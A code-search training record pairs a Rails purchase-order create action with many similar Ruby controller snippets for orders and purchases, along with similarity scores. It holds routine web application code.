"def show\n @purchase = Purchase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchase }\n end\n end",
"def show\n authorize @purchase_order\n render json: @purchase_order.attributes\n end",
"def show\n @purchase_order_item = PurchaseOrderItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchase_order_item }\n end\n end",
"def index\n @purchases = Purchase.find_all_by_user_id(current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @purchases }\n end\n end",
"def index\n #data = HTTParty.get(\"http://localhost:8081/customers.json\")\n #p data.parsed_response[0]['email']\n if params[:customerId].present?\n @orders = Order.where(\"customerId\": params[:customerId].to_i)\n render json: @orders, status: 200\n elsif params[:id].present?\n @orders = Order.find_by id: params[:id]\n render json: @orders, status:200\n elsif params[:email].present?\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{params['email']}\")\n p res\n res = res.parsed_response\n @orders = Order.where(\"customerId\": res['id'].to_i)\n render json: @orders, status:200\n else\n @orders = Order.all\n end\n end",
"def show\n @v1_order = V1::Order.find(params[:id])\n\n if @v1_order.nil?\n render json: @v1_order, message: 'Resource not found', status: 404\n else\n render json: @v1_order, message: 'OK', status: 200\n end\n end",
"def show\n order = Order.find(params[:id])\n render json: order\n end",
"def index\n @orders = Order.all\n if @orders.count >= 1\n json_response(@orders)\n else\n json_response({ Message: Message.no_data }, :not_found)\n end\n end",
"def index\n @orders = current_user.purchases\n end",
"def show\n @order = Order.find(params[:id])\n\n render json: @order, status: :ok\n\n end",
"def show\n @purchase = Purchase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @purchase }\n end\n end",
"def index\n @purchases = purchases.recent\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @purchases }\n end\n end",
"def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end",
"def show\n render json: @order\n end",
"def show\n render json: @order\n end",
"def show\n @shop_purchase = Shop::Purchase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_purchase }\n end\n end",
"def show\n @purchase = Purchase.find(params[:purchase_id])\n @purchase_item = @purchase.purchase_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchase_item }\n end\n end",
"def orders\n authenticated_post(\"auth/r/orders\").body\n end",
"def customer_recurring_orders\n # 1 represents \n @orders = Order.where(customer_id: current_user.customer_id, category: :recurring)\n render json: @orders, status: 200\n \n \n end",
"def new\n @purchaseorder = Purchaseorder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchaseorder }\n end\n end",
"def show\n if @order\n respond_to do |format|\n format.html { @order }\n format.json { render json: @order.to_json(include: [:status, :package, :discount]) }\n end\n else\n redirect_to orders_path, notice: \"Order ID not found for that client.\"\n end\n end",
"def index\n @purchase_lists = PurchaseList.all\n render json: @purchase_lists\n end",
"def get_all_orders() \n\tputs \"Getting all orders\"\n\tresponse = request_get(\"/api/order\")\n\tputs response.body\nend",
"def index\n @power_orders = PowerOrder.all\n render json: @power_orders\n end",
"def index\n @line_items = @order.line_items\n\n render json: @line_items\n end",
"def index\n @orders = Order.order(\"id\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def orders\n authenticated_post(\"orders\").body\n end",
"def index\n @purchases = Purchase.all.order(purchase_date: :desc).order(created_at: :desc).paginate(:page => params[:page], per_page: 10)\n\n render json: {purchases: @purchases, total_pages: @purchases.total_pages, current_page: @purchases.current_page}\n end",
"def show\n \n @order = Order.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n \n end \n end",
"def index\n\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n respond_to do |format|\n format.html\n format.json { render :json => @orders }\n end\n end",
"def index\n #@orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @purchase_orders = PurchaseOrder.all.order(client_id: :asc, active: :desc, title: :asc)\n end",
"def show\n render json: @order_line_item\n end",
"def show\n @order1 = Order1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order1 }\n end\n end",
"def get_orders\n return ShopifyAPI::Order.all\n end",
"def fetch\n @order = Order.where(owner_id: current_user.branch.nodes.pluck(:id)).order('orders.quantity').last\n\n render json: {id: @order.id, quantity: @order.quantity,\n date: @order.created_at.strftime('%d/%m/%Y'),\n time: @order.created_at.strftime('%p %I:%M'),\n destination: \"#{t('fridge')} - #{@order.owner_id}\"\n }, status: :ok\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def index\n\t\t@orders = Order.all\n\t\trespond_with @orders\n\tend",
"def show\n #@order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def index # see model > order.rb\n # if current_user\n @orders = current_user.orders\n render \"index.json.jb\"\n # else\n # render json: [], status: :unauthorized\n # end\n end",
"def show\n @manifest_item = ManifestItem.find(params[:id])\n @purchaseorders = @manifest_item.purchaseorders.paginate(page: params[:page])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manifest_item }\n end\n end",
"def index\n @orders = Order.order(\"id DESC\").page(params[:page])\n\n if params[:user_id]\n @orders = @orders.where(:user_id => params[:user_id])\n end\n\n if Rails.configuration.orders_status.select{|k, v| v[:real]}.keys.include? params[:status]\n @orders = @orders.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def show\n @order = Order.find(request[:order_id])\n @order_item = @order.order_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order_item }\n end\n end",
"def index\n @order_items = OrderItem.all\n # render json: @order_item, status: :created\n # render json: @order_item.as_json(include: :item)\n\n end",
"def show\n @order = Order.find(params[:id])\n @title = \"Order #{@order.id}\"\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=>@order }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n render json: @purchase, methods: [:inventories]\n end",
"def purchase_order(purchase_order, options={})\n params = { :klass => Invoicexpress::Models::PurchaseOrder }\n\n get(\"purchase_orders/#{id_from_purchase_order(purchase_order)}.xml\", params.merge(options))\n end",
"def index\n @orders = Order.where(:customer_id => params[:customer_id])\n @order = @orders.first \n end",
"def show\n @order = Order.includes([:customer,:order_details => :product]).find(params[:id])\n \n if !@order.delivered?\n @order_detail = @order.order_details.new\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def get_orders\n orders\n end",
"def create\n fail = false\n itemId = order_params[:itemId]\n customerId = order_params[:customerId]\n \n #logger.debug \"getting item\"\n self.class.base_uri \"http://localhost:8082\"\n uri = \"/items/%d\" % [itemId]\n response = self.class.get uri\n \n #Check if item of this id was fetched correctly\n if response.code == 200\n item = response.body\n else\n fail = true\n end\n #logger.debug item\n\n #logger.debug \"getting customer\"\n self.class.base_uri \"http://localhost:8081\"\n uri = \"/customers?id=%d\" % [customerId]\n response = self.class.get uri\n \n\n #Check if customer of this id was fetched correctly\n if response.code == 200\n customer = response.body\n else\n fail = true\n end\n #logger.debug customer\n \n #If item and customer are found, create the order, otherwise, give a 404 not found error\n if !fail\n #logger.debug \"success\"\n item = JSON.parse(item)\n description = item[\"description\"]\n \n price = item[\"price\"].to_f #to float, as it's parsed as a string for some reason\n logger.debug price\n customer = JSON.parse(customer)\n \n award = customer[\"award\"]\n total = price - award\n \n @order = Order.new({itemId: itemId, customerId: customerId, description: description, price: price, award: award, total: total})\n if @order.save\n render json: @order, status: 201\n \n # #raise ActiveRecord::Rollback, \"Rolling back changes\"\n else\n render json: @order.errors.messages, status: 400\n end\n else\n head 404\n end\n\n end",
"def retrieve_order(order_id:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/orders/{order_id}',\n 'default')\n .template_param(new_parameter(order_id, key: 'order_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def driver_single_orders\n @orders = Timeslot.joins(:orders).where(orders: { category: :single}, timeslots: {region_id: current_user.driver.region_id})\n render json: @orders, status: 200\n end",
"def show\n @sales_order = SalesOrder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sales_order }\n end\n end",
"def show\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n\n# respond_to do |format|\n# format.html # show.html.erb\n# format.json { render json: @purchase_order_item_line }\n# end\n end"
] |
[
"0.7133679",
"0.7084332",
"0.70752203",
"0.7062937",
"0.7033524",
"0.69962937",
"0.6983285",
"0.6980371",
"0.6980371",
"0.69722176",
"0.69722176",
"0.69722176",
"0.69722176",
"0.69722176",
"0.6956117",
"0.6912581",
"0.69081545",
"0.68349123",
"0.682728",
"0.681525",
"0.6793215",
"0.6779979",
"0.6779979",
"0.6779979",
"0.6776797",
"0.676633",
"0.6760293",
"0.67471796",
"0.6743375",
"0.6732866",
"0.6726968",
"0.6724894",
"0.6715068",
"0.67084014",
"0.67061764",
"0.67024577",
"0.66808665",
"0.66808665",
"0.6653875",
"0.6644441",
"0.66147596",
"0.66011566",
"0.65991205",
"0.65937805",
"0.65641445",
"0.65566266",
"0.6530583",
"0.6527674",
"0.65215874",
"0.6514955",
"0.6512485",
"0.6511252",
"0.6493905",
"0.64915097",
"0.648938",
"0.6481975",
"0.64818627",
"0.64818627",
"0.64818627",
"0.64818627",
"0.6459881",
"0.64267063",
"0.6411296",
"0.6409487",
"0.640247",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6388438",
"0.6381547",
"0.63730407",
"0.6372601",
"0.6367679",
"0.6367594",
"0.6343289",
"0.63366413",
"0.63242316",
"0.63184786",
"0.63181466",
"0.63143665",
"0.63101166",
"0.63091385",
"0.63076943",
"0.63047016",
"0.6301118",
"0.62995833",
"0.62983",
"0.62875354",
"0.62873995"
] |
0.0
|
-1
|
POST /purchase_orders POST /purchase_orders.json
|
def create
@purchase_order = PurchaseOrder.new(purchase_order_params)
@purchase_order.date = Time.now
respond_to do |format|
if @purchase_order.save
format.html {
flash[:notice] = 'La Orden de Compra se creó satisfactoriamente.'
redirect_to purchase_orders_path
}
format.json { render :show, status: :created, location: @purchase_order }
else
format.html { render :new }
format.json { render json: @purchase_order.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @purchase_order = PurchaseOrder.new(purchase_order_params)\n\n if @purchase_order.save\n render :show, status: :created, location: @purchase_order\n else\n render json: @purchase_order.errors, status: :unprocessable_entity\n end\n end",
"def create\n @purchaseorder = Purchaseorder.new(params[:purchaseorder])\n\n respond_to do |format|\n if @purchaseorder.save\n format.html { redirect_to @purchaseorder, notice: 'Purchaseorder was successfully created.' }\n format.json { render json: @purchaseorder, status: :created, location: @purchaseorder }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchaseorder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_order(order_params)\n res = request('post', \"https://#{orders_path}\", order_params)\n parse_response res\n end",
"def create\n @purchase_order = PurchaseOrder.new(purchase_order_params)\n\n respond_to do |format|\n if @purchase_order.save\n format.html { redirect_to @purchase_order, notice: \"Purchase order was successfully created.\" }\n format.json { render :show, status: :created, location: @purchase_order }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchaseorder = Purchaseorder.new(purchaseorder_params)\n\n respond_to do |format|\n if @purchaseorder.save\n format.html { redirect_to @purchaseorder, notice: 'Purchaseorder was successfully created.' }\n format.json { render :show, status: :created, location: @purchaseorder }\n else\n format.html { render :new }\n format.json { render json: @purchaseorder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit_order()\n\tputs \"Submitting order\"\n\tdata = create_order()\n\tresponse = request_post(\"/api/order\", data)\n\tputs response.body\nend",
"def create\n @purchase_order = PurchaseOrder.new(purchase_order_params)\n @purchase_order.user = current_user\n @purchase_order.status = \"Espera\"\n\n if @purchase_order.save\n render json: {status: \"created\", purchase_order: @purchase_order.attributes}\n # render :show, status: :created, location: @purchase_order\n # format.html { redirect_to purchase_orders_path, notice: 'Purchase order was successfully created.' }\n # format.json { render :show, status: :created, location: @purchase_order }\n else\n render json: @purchase_order.errors, status: :unprocessable_entity\n # format.html { render :new }\n # format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end",
"def create\n @purchase = Purchase.new(purchase_params)\n\n if @purchase.save\n render json: @purchase, status: :created, location: @purchase\n else\n render json: {errors: @purchase.errors}, status: :unprocessable_entity\n end\n end",
"def create\n order = Order.create(order_params)\n render json: order\nend",
"def create\n @purchase_order = PurchaseOrder.new(purchase_order_params)\n\n respond_to do |format|\n if @purchase_order.save\n format.html { redirect_to [:admin, @purchase_order], notice: 'Purchase order was successfully created.' }\n format.json { render :show, status: :created, location: @purchase_order }\n else\n format.html { render :new }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n if @order.save\n render json: { status: 'SUCCESS', data: @order }\n else\n render json: { status: 'ERROR', data: @order.errors }\n end\n end",
"def orders\n authenticated_post(\"auth/r/orders\").body\n end",
"def orders\n authenticated_post(\"orders\").body\n end",
"def create\n # @order = Order.new() \n total = 0\n \n @order = Order.new()\n for product in params[:_json]\n \n if (product[:quantity].nil? || product[:quantity].to_f < 1 || !isint(product[:quantity]))\n # Handle case when order invalid quantity\n render json: \"\", status: :bad_request\n return\n end\n\n @product = Product.find_by_name_and_size_id(product[:product], product[:size]) \n if @product.nil?\n # Handle case when order invalid products\n render json: \"\", status: :not_found\n return\n end \n total = total + @product.price * product[:quantity].to_f \n @order.orders_products << OrdersProduct.new(:product => @product, :hot => product[:hot], :quantity => product[:quantity]) \n end \n\n @order.total = total\n\n if @order.save\n render json: @order, status: :created, location: @order\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def do_purchase\n user.purchases.create!(\n amount_in_cents: purchase_amount,\n employee_id: purchase_params.dig(:employee_id),\n qty: purchase_params.dig(:qty).to_i,\n venue_id: purchase_params.dig(:venue_id),\n tap_id: purchase_params.dig(:tap_id),\n description: purchase_params.dig(:description)\n )\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n\n @basket = ActiveSupport::JSON.decode(cookies[\"basket\"])\n p @basket\n @basket.each do |order_position|\n @order_detail = OrderDetail.create!(order: @order, product_id: order_position[0], qty: order_position[1])\n end\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_order(options)\n request :account, :post, 'order', options\n end",
"def create\n @order = @orders.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: \"Order was successfully created.\" }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n @order_sales = @order.sales\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase = Purchase.new(purchase_params)\n\n respond_to do |format|\n if @purchase.save\n format.json { render action: 'show', status: :created, location: @purchase }\n else\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase_order = PurchaseOrder.new(purchase_order_params)\n @purchase_order.order_date = Time.now\n @purchase_order.user_id = current_user.id\n\n respond_to do |format|\n if @purchase_order.save\n format.html { \n flash[:notice] = 'La orden de compra se creó satisfactoriamente.'\n redirect_to purchase_orders_path\n }\n format.json { render :show, status: :created, location: @purchase_order }\n else\n format.html { render :new }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @power_order = PowerOrder.new(power_order_params)\n @power_order.save\n render json: @power_order\n end",
"def create_purchase_order(purchase_order, options={})\n raise(ArgumentError, \"purchase order has the wrong type\") unless purchase_order.is_a?(Invoicexpress::Models::PurchaseOrder)\n\n params = { :klass => Invoicexpress::Models::PurchaseOrder, :body => purchase_order }\n post(\"purchase_orders.xml\", params.merge(options))\n end",
"def validate_order() \n\tputs \"Validating order\" \n\tdata = create_order()\n\tresponse = request_post(\"/api/order/validate\", data)\n\tputs response.body\nend",
"def create\n @order = current_user.orders.new(params[:order])\n @order.add_line_items_from_cart(current_cart)\n respond_to do |format|\n if @order.save\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n format.html { redirect_to(\"http://cs410.cs.ualberta.ca:42001/paybuddy/payment.cgi?grp=5&amt=#{@order.total_price}&tx=#{@order.id}&ret=#{paid_url}\") }\n format.json { render json: @order, status: :created, location: @order }\n else\n @cart = current_cart\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase = Purchase.new(params[:purchase])\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render json: @purchase, status: :created, location: @purchase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase = Purchase.new(params[:purchase])\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render json: @purchase, status: :created, location: @purchase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase = Purchase.new(params[:purchase])\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render json: @purchase, status: :created, location: @purchase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase = Purchase.new(params[:purchase])\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render json: @purchase, status: :created, location: @purchase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_test_order(options)\n request :account, :post, 'order/test', options\n end",
"def create\n @purchase = Purchase.new(\n date: purchase_params[:date],\n brand: purchase_params[:brand],\n by_cup: purchase_params[:by_cup],\n fair_trade: purchase_params[:fair_trade],\n price: purchase_params[:price],\n rating: purchase_params[:rating],\n # check who the currently logged in user is\n user_id: get_current_user.id)\n\n if @purchase.save\n render json: {status: 201, purchase: @purchase}\n else\n puts @purchase.error\n render json: {status: 422, message: 'Unprocessable Entity'}\n end\n end",
"def create\n @purchase_order = PurchaseOrder.new(params[:purchase_order])\n\n respond_to do |format|\n if @purchase_order.save\n format.html { redirect_to(@purchase_order, :notice => 'Purchase Order was successfully created.') }\n format.xml { render :xml => @purchase_order, :status => :created, :location => @purchase_order }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @purchase_order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @order = order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, :notice=>\"Order was successfully created.\" }\n format.json { render :json=>@order, :status=>:created, :location=>@order }\n else\n format.html { render :action=>\"new\" }\n format.json { render :json=>@order.errors, :status=>:unprocessable_entry }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: t('app.orders.create.success') }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @v1_order = V1::Order.new(v1_order_params)\n\n if @v1_order.save\n render json: @v1_order, status: :OK, location: @v1_order\n else\n render json: @v1_order.errors, status: :unprocessable_entity\n end\n end",
"def create\n @purchase = Purchase.new(purchase_params)\n spree_order = ActiveRecord::Base.connection.select_one(\"select * from spree_line_items a left join spree_variants b on a.variant_id = b.id left join purchases c on a.order_id = c.spree_order_id where b.product_id = #{@purchase.spree_product_id} and c.amount is null\")\n @purchase.spree_order_id = spree_order[\"order_id\"] if spree_order\n\n respond_to do |format|\n if spree_order && @purchase.save\n format.html { redirect_to purchases_path, notice: t(\"activerecord.models.purchase\") + t(\"messages.successfully_created\") }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { redirect_to purchases_path, alert: t(\"activerecord.models.purchase\") + t(\"messages.not_created\") }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sales_order = SalesOrder.new(sales_order_params)\n @sales_order.date = Time.now\n sodetails = @sales_order.sales_order_details\n sodetails.each do |sod|\n sod.pending_rg = sod.quantity\n sod.pending_cg = sod.quantity\n sod.pending_inv = sod.quantity\n end\n \n respond_to do |format|\n if @sales_order.save\n format.html {\n flash[:notice] = 'La Orden de Venta se creó satisfactoriamente.'\n redirect_to sales_orders_path\n }\n format.json { render :show, status: :created, location: @sales_order }\n else\n format.html { \n flash[:error] = @sales_order.errors\n redirect_to new_sales_order_path\n }\n format.json { render json: @sales_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase = Purchase.new(purchase_params)\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase_order_item = PurchaseOrderItem.new(params[:purchase_order_item])\n\n respond_to do |format|\n if @purchase_order_item.save\n format.html { redirect_to @purchase_order_item, notice: 'Purchase order item was successfully created.' }\n format.json { render json: @purchase_order_item, status: :created, location: @purchase_order_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_order_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = current_user.orders.build(order_params)\n\n respond_to do |format|\n if @order.save_with_items(current_user)\n format.json { render json: @order, status: :created }\n format.html { redirect_to @order }\n else\n format.html do\n set_feed_back\n set_addresses_add_express_fee\n\n set_wx_cards\n\n flash.now[:error] = @order.errors.full_messages.join(', ')\n\n render :confirmation, status: :unprocessable_entity\n end\n\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order, @errors = Order.create_from_cart(@cart, order_params)\n\n if @order\n render json: @order, status: :created, location: @order\n else\n render json: @errors, status: :unprocessable_entity\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, :notice => 'Order was successfully created.' }\n format.json { render :json => @order, :status => :created, :location => @order }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n # Create the order \n @order = Order.new\n @email = params[:email]\n \n # Invoke the customer service to retrieve the customer id using the customers\n customerCode, customer = Customer_Service.getCustomerByEmail(@email)\n \n # Check to make sure the customer can be found\n if customerCode != 200\n render json: { error: \"Customer could not be found. \", status: 400 }\n return\n end\n \n # Invoke the item service to retrieve the item information\n orderCode, item = Item_Service.getItemById(params[:itemId])\n # Check to see if the item can be found\n if orderCode != 200\n render json: { error: \"Item could not be found\", status: 400 }\n return\n end\n # Check to see if the item is in stock\n if item[:stockQty] <= 0\n render json: { error: \"Item is out of stock\", status: 400 }\n return\n end\n \n \n # Construct the object\n @order.itemId = params[:itemId]\n @order.description = item[:description]\n @order.customerId = customer[:id]\n @order.price = item[:price]\n @order.award = customer[:award]\n @order.total = @order.price - @order.award\n \n # Check to see if the order can be saved\n if @order.save\n # Save the order to the customer and save it to the item\n tempCode = Customer_Service.postOrder(@order)\n tempCode = Item_Service.postOrder(@order)\n render json: @order, status: 201\n else\n render json: @order.errors, status: 400\n end\n \n end",
"def create\n purchase = @order.purchases.first(:conditions => {\n :purchasable_id => params[:purchase][:purchasable_id],\n :purchasable_type => params[:purchase][:purchasable_type]\n })\n\n if purchase\n purchase.quantity += params[:purchase][:quantity].to_i\n purchase.save\n else\n @order.purchases << Purchase.new(params[:purchase])\n @order.save\n end\n\n if params[:redirect_to]\n flash[:success] = %{#{params[:purchase][:name]} has been added to your order. <a href=\"/order/purchases\">Proceed to checkout</a>.} unless params[:hide_flash]\n redirect_to params[:redirect_to]\n else\n redirect_to order_purchases_path\n end\n end",
"def create\n @shop_purchase = Shop::Purchase.new(params[:shop_purchase])\n\n respond_to do |format|\n if @shop_purchase.save\n format.html { redirect_to @shop_purchase, notice: 'Purchase was successfully created.' }\n format.json { render json: @shop_purchase, status: :created, location: @shop_purchase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
